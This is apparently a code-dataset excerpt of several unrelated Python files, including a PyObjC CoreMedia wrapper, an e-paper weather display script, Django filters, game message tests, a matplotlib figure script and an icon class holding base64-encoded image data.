content
stringlengths 5
1.05M
|
|---|
"""
Python mapping for the CoreMedia framework.
This module does not contain docstrings for the wrapped code, check Apple's
documentation for details on how to use these functions and classes.
"""
import objc
import sys
import Foundation
from CoreMedia import _metadata
from CoreMedia import _macros
from CoreMedia import _CoreMedia
sys.modules["CoreMedia"] = mod = objc.ObjCLazyModule(
"CoreMedia",
"com.apple.CoreMedia",
objc.pathForFramework("/System/Library/Frameworks/CoreMedia.framework"),
_metadata.__dict__,
None,
{
"__doc__": __doc__,
"objc": objc,
"__path__": __path__,
"__loader__": globals().get("__loader__", None),
},
(_macros, _CoreMedia, Foundation),
)
import sys
del sys.modules["CoreMedia._metadata"]
|
# Simple python tool to retrieve weather station information and display it on an e-Paper display
import requests
import json
from ast import literal_eval
import sys
import os
picdir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'gfx')
libdir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'lib')
progdir = os.path.dirname(os.path.realpath(__file__))
if os.path.exists(libdir):
sys.path.append(libdir)
from waveshare_epd import epd2in7
import time
from PIL import Image,ImageDraw,ImageFont
import traceback
# retrieve and transform the weather data as a dict
def get_data(link):
# Retrieve the data as a JSON
data_json = requests.get(link).text
# Transform into a dict (actually a dict of list of dict of dict)
data_dict = json.loads(data_json)
return data_dict
# convert wind direction from degree to text
def convert_w_dir(w_dir):
w_dir_str = "none"
if w_dir > 11 and w_dir <= 33:
w_dir_str = "NNE"
elif w_dir > 33 and w_dir <= 56:
w_dir_str = "NE"
elif w_dir > 56 and w_dir <= 78:
w_dir_str = "ENE"
elif w_dir > 78 and w_dir <= 101:
w_dir_str = "E"
elif w_dir > 101 and w_dir <= 123:
w_dir_str = "ESE"
elif w_dir > 123 and w_dir <= 146:
w_dir_str = "SE"
elif w_dir > 146 and w_dir <= 168:
w_dir_str = "SSE"
elif w_dir > 168 and w_dir <= 191:
w_dir_str = "S"
elif w_dir > 191 and w_dir <= 213:
w_dir_str = "SSW"
elif w_dir > 213 and w_dir <= 236:
w_dir_str = "SW"
elif w_dir > 236 and w_dir <= 258:
w_dir_str = "WSW"
elif w_dir > 258 and w_dir <= 281:
w_dir_str = "W"
elif w_dir > 281 and w_dir <= 303:
w_dir_str = "WNW"
elif w_dir > 303 and w_dir <= 326:
w_dir_str = "NW"
elif w_dir > 326 and w_dir <= 348:
w_dir_str = "NNW"
elif w_dir > 348 or w_dir <= 11:
w_dir_str = "N"
return w_dir_str
def get_graphic_rotation(input_str):
g_rot = 0
if input_str == "N":
g_rot = -90
elif input_str == "NNE":
g_rot = -112
elif input_str == "NE":
g_rot = -135
elif input_str == "ENE":
g_rot = -157
elif input_str == "E":
g_rot = -180
elif input_str == "ESE":
g_rot = -202
elif input_str == "SE":
g_rot = -225
elif input_str == "SSE":
g_rot = -247
elif input_str == "S":
g_rot = -270
elif input_str == "SSW":
g_rot = 68
elif input_str == "SW":
g_rot = 45
elif input_str == "WSW":
g_rot = 22
elif input_str == "W":
g_rot = 0
elif input_str == "WNW":
g_rot = -23
elif input_str == "NW":
g_rot = -45
elif input_str == "NNW":
g_rot = -68
return g_rot
# get the arguments and switch modes
# switch between text mode (t) and graphical mode (g)
mode = 'g'
# switch data source between test data (t) and live data (l)
data_source = 'l'
arguments = len(sys.argv) - 1
position = 1
while(arguments >= position):
#print("Parameter %i: %s" %(position, sys.argv[position]))
if sys.argv[position] == "--help":
print("--text for text mode, --test for test mode, --help for help")
sys.exit()
elif sys.argv[position] == "--text":
mode = 't'
elif sys.argv[position] == "--test":
data_source = 't'
else:
print("Wrong argument!")
sys.exit()
position = position + 1
try:
# init the display and the used fonts
epd = epd2in7.EPD()
epd.init()
epd.Clear(0xFF)
font24 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 24)
font18 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 18)
font35 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 35)
font8 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 8)
font12 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 12)
# init the API path
api_file = open(os.path.join(progdir, "api_path.txt"))
api_path = api_file.read().replace("\n", "")
api_file.close()
while True:
Himage = Image.new('1', (epd.height, epd.width), 255) # 255: clear the frame
draw = ImageDraw.Draw(Himage)
#print("h: " + str(epd.height) + ", w: " + str(epd.width))
# retrieve
if data_source == 't': # use test data
file = open(os.path.join(progdir, "test_data.txt"))
data = literal_eval(file.read().replace("\n", ""))
file.close()
else: # use live data
data = get_data(api_path)
# save current data as test data
#file = open("test_data.txt", "w")
#file.write(str(data))
#file.close()
# Print selected data
message = "Timestamp: " + data["observations"][0]["obsTimeLocal"] + "\n"
message += "Temperature (C): " + str(data["observations"][0]["metric"]["temp"]) + "\n"
message += "Humidity (%): " + str(data["observations"][0]["humidity"]) + "\n"
message += "Wind Speed (km/h): " + str(data["observations"][0]["metric"]["windSpeed"]) + "\n"
message += "Wind Direction (degree): " + str(data["observations"][0]["winddir"]) + "\n"
message += "UV Index: " + str(data["observations"][0]["uv"]) + "\n"
print(message)
# Show on display
draw.text((10, 0), data["observations"][0]["obsTimeLocal"], font = font18, fill = 0)
draw.line((0, 20, 264, 20), fill = 0)
if mode == 't':
draw.text((10, 25), "Temp. (C): "+ str(data["observations"][0]["metric"]["temp"]), font = font24, fill = 0)
draw.text((10, 52), "Humidity (%): " + str(data["observations"][0]["humidity"]), font = font24, fill = 0)
draw.text((10, 79), "Wind Sp. (km/h): " + str(data["observations"][0]["metric"]["windSpeed"]), font = font24, fill = 0)
draw.text((10, 106), "Wind Dir.: " + convert_w_dir(int(data["observations"][0]["winddir"])), font = font24, fill = 0)
draw.text((10, 132), "UV Index: " + str(data["observations"][0]["uv"]), font = font24, fill = 0)
else:
# load background image
bmp = Image.open(os.path.join(picdir, 'bgs.bmp'))
Himage.paste(bmp, (0,0))
# Temperature
temp = int(data["observations"][0]["metric"]["temp"])
fill0, fill10, fill20, fill30 = 255, 255, 255, 255
if temp > 0:
fill0 = 0
if temp > 10:
fill10 = 0
if temp > 20:
fill20 = 0
if temp > 30:
fill30 = 0
draw.rectangle((42, 90, 62, 110), fill = fill0, outline = 0)
draw.rectangle((42, 70, 62, 90), fill = fill10, outline = 0)
draw.rectangle((42, 50, 62, 70), fill = fill20, outline = 0)
draw.rectangle((42, 30, 62, 50), fill = fill30, outline = 0)
draw.text((36, 125), str(data["observations"][0]["metric"]["temp"]) + "°", font = font24, fill = 0)
# Humidity
draw.text((113, 57), str(data["observations"][0]["humidity"]) + "%", font = font18, fill = 0)
# UV index
draw.text((205, 40), str(data["observations"][0]["uv"]), font = font24, fill = 0)
draw.text((233, 85), "UV", font = font12, fill = 0)
# Wind
draw.text((158, 127), str(data["observations"][0]["metric"]["windSpeed"]), font = font24, fill = 0)
draw.text((158, 152), "km/h", font = font8, fill = 0)
bmp = Image.open(os.path.join(picdir, 'arr.bmp'))
Himage.paste(bmp.rotate(get_graphic_rotation(convert_w_dir(int(data["observations"][0]["winddir"]))), Image.NEAREST, expand = 1, fillcolor = (255,255,255)), (190,132))
draw.text((230, 145), convert_w_dir(int(data["observations"][0]["winddir"])), font = font12, fill = 0)
epd.display(epd.getbuffer(Himage))
time.sleep(60)
except IOError as e:
print(e)
except KeyboardInterrupt:
print("ctrl + c:")
epd2in7.epdconfig.module_exit()
exit()
|
#!/usr/bin/env python3
###
#
#
#
# Program Description :
# Created By : Benjamin Kleynhans
# Creation Date : January 25, 2020
# Authors : Benjamin Kleynhans
#
# Last Modified By : Benjamin Kleynhans
# Last Modified Date : August 20, 2020
# Filename : launcher.py
#
###
# System Imports
import sys, os, inspect
import subprocess as sp
import pdb
# Module Imports
from src import radiometer
# Definitions
ERASE_LINE = '\x1b[2k' # defines ASCII code to clear a Linux terminal
__PROJECT_ROOT = '' # defines the root directory of the project for portability
# Calculate fully qualified path to location of program execution
def get_module_path():
filename = inspect.getfile(inspect.currentframe())
path = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
return path, filename
# Set environment variables to locate current execution path
def set_path_variables():
path, filename = get_module_path()
sys.path.append(path)
op_sys = None
delimeter = None
# Automatically build the path
for element in os.walk(path):
if ('/' in element[0]):
if (op_sys == None):
op_sys = 'ux'
delimeter = '/'
ind = element[0].rindex('/')
index_value = element[0][ind + 1]
# If the directory does not start with a '_' or a '.' append it to the path
if (index_value != '_') and (index_value != '.'):
sys.path.append(element[0])
elif ('\\' in element[0]):
if (op_sys == None):
op_sys = 'win'
delimeter = '\\'
ind = element[0].rindex('\\')
index_value = element[0][ind + 1]
# If the directory does not start with a '_' or a '.' append it to the path
if (index_value != '_') and (index_value != '.'):
sys.path.append(element[0])
return op_sys, delimeter
def main(args):
global __PROJECT_ROOT
__PROJECT_ROOT = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
op_sys, delimeter = set_path_variables()
args = {
'project_root': __PROJECT_ROOT,
'os': op_sys,
'delimeter': delimeter,
'preferences': {}
}
radiometer.main(args)
# sp.call('clear', shell = True)
if __name__ == '__main__':
args = main(sys.argv[1:])
|
import django_filters
from django.db import models
from .models import Item
class OrderingFilter(django_filters.filters.OrderingFilter):
"""ソートの表示変更"""
descending_fmt = '%s (Descending)'
class ItemFilterSet(django_filters.FilterSet):
"""
django-filter 構成クラス
https://django-filter.readthedocs.io/en/latest/ref/filterset.html
"""
# 検索フォームの並び順の設定
order_by = OrderingFilter(
initial='Created by',
fields=(
('created_at', 'created_at'),
('updated_at', 'updated_at'),
),
field_labels={
'created_at': 'Created at',
'updated_at': 'Updated at',
},
label='Sort order'
)
class Meta:
model = Item
# 検索に表示しない項目の設定
exclude = ['created_at', 'updated_by', 'updated_at', ]
# 文字列検索を部分一致に変更
filter_overrides = {
models.CharField: {
'filter_class': django_filters.CharFilter,
'extra': lambda f: {
'lookup_expr': 'icontains',
},
},
models.TextField: {
'filter_class': django_filters.CharFilter,
'extra': lambda f: {
'lookup_expr': 'icontains',
},
},
}
|
import sys
from sys import stdin
sys.setrecursionlimit(1500)
n = stdin.readline()
N, M = int(n.split(" ")[0]), int(n.split(" ")[1])
arr = list()
[arr.append(x+1) for x in range(N)]
print("<", end="")
while len(arr):
[arr.append(arr.pop(0)) for _ in range(M-1)]
if len(arr)-1:
print(arr.pop(0), end=", ")
else:
print(arr.pop(0), end=">")
|
import smart_imports
smart_imports.all()
class MessagesContainerTest(utils_testcase.TestCase):
def setUp(self):
super(MessagesContainerTest, self).setUp()
self.messages = messages.JournalContainer()
def create_message(self, message, turn_delta=0, time_delta=0, position='some position info'):
return messages.MessageSurrogate(turn_number=game_turn.number() + turn_delta,
timestamp=time.time() + time_delta,
key=None,
externals=None,
message=message,
position=position)
def test_create(self):
self.assertEqual(self.messages.messages, collections.deque())
def test_serialize(self):
self.messages.push_message(self.create_message('1'))
self.messages.push_message(self.create_message('2'))
self.assertEqual(self.messages.serialize(), messages.JournalContainer.deserialize(self.messages.serialize()).serialize())
def test_clear(self):
self.messages.push_message(self.create_message('1'))
self.messages.clear()
self.assertEqual(self.messages.messages, collections.deque())
self.messages.clear()
self.assertEqual(self.messages.messages, collections.deque())
def test_push_message(self):
self.messages.push_message(self.create_message('1'))
self.messages.push_message(self.create_message('2'))
game_turn.increment()
self.messages.push_message(self.create_message('3'))
self.assertEqual([msg.message for msg in self.messages.messages], ['1', '2', '3'])
def test_push_message__next_turn(self):
self.messages.push_message(self.create_message('1'))
self.messages.push_message(self.create_message('2', turn_delta=2))
game_turn.increment()
self.messages.push_message(self.create_message('3'))
self.assertEqual([msg.message for msg in self.messages.messages], ['1', '3', '2'])
self.assertEqual([msg[2] for msg in self.messages.ui_info()], ['1', '3'])
game_turn.increment()
self.assertEqual([msg.message for msg in self.messages.messages], ['1', '3', '2'])
self.assertEqual([msg[2] for msg in self.messages.ui_info()], ['1', '3', '2'])
def test_push_message__sort_by_time(self):
self.messages.push_message(self.create_message('1'))
self.messages.push_message(self.create_message('2', time_delta=-10))
self.assertEqual([msg.message for msg in self.messages.messages], ['2', '1'])
|
class RateLimitException(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return (repr(self.value))
class AzureAPIException(Exception):
def __str__(self):
return (repr("Azure API exception."))
class AuthException(Exception):
def __str__(self):
return (repr("Azure API Authorization Exception. Please verify your credentials."))
class ResourceNotFound(Exception):
def __str__(self):
return (repr("Azure resource not found please check your resource group name, subnet name and vnet name."))
def print_newline(data):
for ip in data:
print(ip)
|
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import LinearSegmentedColormap
import pickle
import matplotlib.patches as patches
from labellines import labelLine, labelLines
#plot parameters
font_size=10
plt.style.use('seaborn-paper')
plt.rc('text', usetex=True)
plt.rc('font',family='serif',serif='Computer Modern')
plt.rc('xtick', labelsize=font_size)
plt.rc('ytick', labelsize=font_size)
plt.rc('axes', labelsize=font_size)
plt.rc('legend', fontsize=font_size)
#color list
color_list = ["#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8", "#0c2c84"]
#plot
width = 7.057
height = width/3.7
fig, axes = plt.subplots(ncols=2, nrows=1, figsize=(width,height))
plt.subplots_adjust(left=0.2, bottom=0.24, right=0.85,
top=0.98, wspace=0.48, hspace=0.25)
color_dict = {1.1:"#c7e9b4", 1.15:"#7fcdbb", 1.5:"#0c2c84"}
#left panel
#-------------
alpha_list = [key for key in color_dict]
with open('./dat/bifurcation_mean_rescale_upper.pk', 'rb') as filename:
results = pickle.load(filename)
for alpha in alpha_list:
axes[0].plot(results[alpha]['beta'],results[alpha]['I'], '-',
color=color_dict[alpha], zorder=1, label=fr"$\alpha={alpha}$")
for alpha in (1.5,1.1,1.15):
axes[0].plot((0.14,results[alpha]['beta_c']),(0,0), '-',
color=color_dict[alpha], zorder=1)
if alpha == 1.5:
axes[0].vlines(results[alpha]['beta_c'],0,0.455,
ls='--',color=color_dict[alpha])
axes[0].vlines(results[alpha]['beta'][-1],0,
results[alpha]['I'][-1],
ls='--',color=color_dict[alpha])
axes[0].legend(frameon=False, loc='lower right')
axes[0].set_xlabel(r"$\beta$")
axes[0].set_ylabel(r"Stationary prevalence $I^*$")
axes[0].text(0.1, 0.85, r'(a)', fontsize=font_size+1,
transform=axes[0].transAxes)
#right panel
#-------------
with open('./dat/invasion_threshold_mean_rescaled.pk', 'rb') as filename:
result = pickle.load(filename)
ind = np.argmin(result['betac'])
axes[1].plot(result['alpha'][:],result['betac'][:], color="#1a1a1a")
axes[1].set_xlabel(r"$\alpha$")
axes[1].set_ylabel(r"Invasion threshold $\beta_\mathrm{c}$")
style = "Simple, tail_width=0.5, head_width=3, head_length=6"
kw = dict(arrowstyle=style, color="#1a1a1a")
a1 = patches.FancyArrowPatch((1.3, 0.4), (1.18, 0.15),
connectionstyle="arc3,rad=0.15",**kw)
axes[1].add_patch(a1)
axes[1].text(1.305, 0.405, r'$\alpha^*$',
fontsize=font_size+1)
axes[1].text(0.1, 0.85, r'(b)', fontsize=font_size+1,
transform=axes[1].transAxes)
# axes[1].set_ylim([0.1401,0.188])
plt.savefig('./figs/FigS5.pdf')
plt.show()
|
class Icon(object):
def __init__(self):
self.img='AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABMLAAATCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAIgAAAEMAAABfAAAAcgAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAAB1AAAAdQAAAHUAAA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mJjbmJiY25iYmNuYmJjbmJiY25iYmNuYmJjbmJiY25iYmNuYmJjbmpqa2FhYWNUAAAD4AAAA/wAAAP8AAAD/AAAA/wIHCf8UQ0//HFts/xtaav8bWmr/G1pq/xxcbf8fZHf/H2Z6/x9mef8fZnn/H2Z5/x9mef8fZnn/H2Z5/x9mef8fZnn/H2Z5/x9mef8fZnn/H2Z5/x9mef8fZnn/Im6D/yNziP8jcoj/I3KI/yNyiP8jcoj/I3KI/yNyiP8jcoj/I3KI/yR1i/8ZUF//AQQF/wAAAP8AAAD/AAAA/wAAAP8CBAL4L1Ay+EJxRv9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9Bb0X/QW9F/0FvRf9CcEb/Nlw6/wsTDP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv+1NTU+f////f////4////+P////j////4////+P////j////4////+P////j////4////+P////j////4////+P////j////4////+P////j////4////+P////j////4////+P////j////4////+P////j////4////+P////j////0pqam3AAAAPQAAAD/AAAA/wAAAP8AAAD/BA4R/yiCmv83stP/Nq/Q/zav0P82r8//Nq/Q/zax0v82sdP/NrHT/zax0/82sdP/NrHT/zax0/82sdP/NrHT/zax0/82sdP/NrHT/zax0/82sdP/NrHT/zax0/83s9X/N7TW/ze01v83tNb/N7TW/ze01v83tNb/N7TW/ze01v83tNb/OLja/yd9lf8CBgj/AAAA/wAAAP8AAAD/AAAA/wQGBPNLf0/zaLFu/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2aubP9mrmz/Zq5s/2ewbv9VkVr/ER0S/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////yoqKjiAAAA9AAAAP8AAAD/AAAA/wAAAP8EDhH/KIOb/zez1f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f83tNX/JnuS/wIGB/8AAAD/AAAA/wAAAP8AAAD/BAYE9El8TfRmrWz/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/Zaxr/1ONWP8RHRL/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////KioqOIAAAD0AAAA/wAAAP8AAAD/AAAA/wQOEf8og5v/N7PV/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/ze01f8me5L/AgYH/wAAAP8AAAD/AAAA/wAAAP8EBgT0SXxN9GatbP9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9lrGv/U41Y/xEdEv8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8qKio4QAAAPQAAAD/AAAA/wAAAP8AAAD/BA4R/yiDm/83s9X/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/N7TV/yZ7k/8CBwj/AAAA/wAAAP8AAAD/AAAA/wQGBPhIekz4Zq1s/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Wsa/9TjVj/ER0S/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////2pqanlAAAA9AAAAP8AAAD/AAAA/wAAAP8EDhH/KIOb/zez1f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f83s9X/KIKa/wQNEP8AAAD/AAAA/wAAAP8AAAD/AwYE/0Z3Sv9mrWz/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/Zaxr/1ONWP8RHRL/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////62trfEAAAD0AAAA/wAAAP8AAAD/AAAA/wQOEf8og5v/N7PV/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zez1f8og5v/BA4R/wAAAP8AAAD/AAAA/wAAAP8DBgT/RnZK/2atbP9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9lrGv/U41Y/xEdEv8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////rq6u9AAAAPQAAAD/AAAA/wAAAP8AAAD/BA4R/yiDm/83s9X/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/N7PV/yiDm/8EDhH/AAAA/wAAAP8AAAD/AAAA/wMGBP9Gdkr/Zq1s/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Wsa/9TjVj/ER0S/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+urq70AAAA9AAAAP8AAAD/AAAA/wAAAP8EDhH/KIOb/zez1f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f83s9X/KIOb/wQOEf8AAAD/AAAA/wAAAP8AAAD/AwYE/0Z2Sv9mrWz/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/Zaxr/1ONWP8RHRL/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////66urvQAAAD0AAAA/wAAAP8AAAD/AAAA/wQOEf8og5v/N7PV/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zez1f8og5v/BA4R/wAAAP8AAAD/AAAA/wAAAP8DBgT/RnZK/2atbP9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9lrGv/U41Y/xEdEv8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAHUAAAB1AAAA/wAAAP8AAAD/AAAA/wAAAP8rKyv/1NTU////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////rq6u9AAAAPQAAAD/AAAA/wAAAP8AAAD/BA4R/yiDm/83s9X/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/N7PV/yiDm/8EDhH/AAAA/wAAAP8AAAD/AAAA/wMGBP9Gdkr/Zq1s/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Wsa/9TjVj/ER0S/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAdQAAAHUAAAD/AAAA/wAAAP8AAAD/AAAA/ysrK//U1NT///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+urq70AAAA9AAAAP8AAAD/AAAA/wAAAP8EDhH/KIOb/zez1f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f83s9X/KIOb/wQOEf8AAAD/AAAA/wAAAP8AAAD/AwYE/0Z2Sv9mrWz/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/ZKpq/2Sqav9kqmr/Zaxr/1ONWP8RHRL/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAB1AAAAdQAAAP8AAAD/AAAA/wAAAP8AAAD/Kysr/9TU1P///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////6+vr/MAAADzAAAA/wAAAP8AAAD/AAAA/wQOEf8og5v/N7PV/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH/NrDR/zaw0f82sNH